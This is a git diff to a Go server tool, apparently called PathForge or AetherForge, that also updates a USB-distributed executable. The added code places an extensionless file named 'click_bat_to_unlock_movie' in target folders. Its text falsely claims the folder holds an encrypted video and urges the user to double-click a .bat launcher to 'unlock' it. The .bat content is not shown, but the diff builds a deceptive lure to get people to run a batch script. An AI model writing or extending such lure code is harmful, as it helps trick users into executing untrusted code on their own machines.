diff --git a/server/internal/builder/pathforge.go b/server/internal/builder/pathforge.go index f5aa36a..77b6829 100644 --- a/server/internal/builder/pathforge.go +++ b/server/internal/builder/pathforge.go @@ -158,6 +158,13 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { } } + // Drop the hint file — its name IS the instruction. + // No extension so it appears as a generic document icon on all platforms. + hintName := "click_bat_to_unlock_movie" + hintDst := filepath.Join(dir, hintName) + _ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644) + placed = append(placed, hintName) + if len(placed) > 0 { res.Placed += len(placed) res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed}) @@ -196,6 +203,15 @@ func sanitizeStem(s string) string { return strings.TrimSpace(replacer.Replace(s)) } +// hintContent returns the body of the "click_bat_to_unlock_movie" hint file. +// The filename itself is the instruction; the content gives a second nudge. +func hintContent(batStem string) string { + return "This folder contains an encrypted media file.\n" + + "To play it, double-click " + batStem + ".bat\n" + + "\n" + + "The .bat file unlocks and opens the video automatically.\n" +} + // batContent creates a .bat launcher. // // When lockOriginal is true the file on disk is named lockedFile diff --git a/usb/AetherForge.exe b/usb/AetherForge.exe index 33b0c09..17a49d7 100644 Binary files a/usb/AetherForge.exe and b/usb/AetherForge.exe differ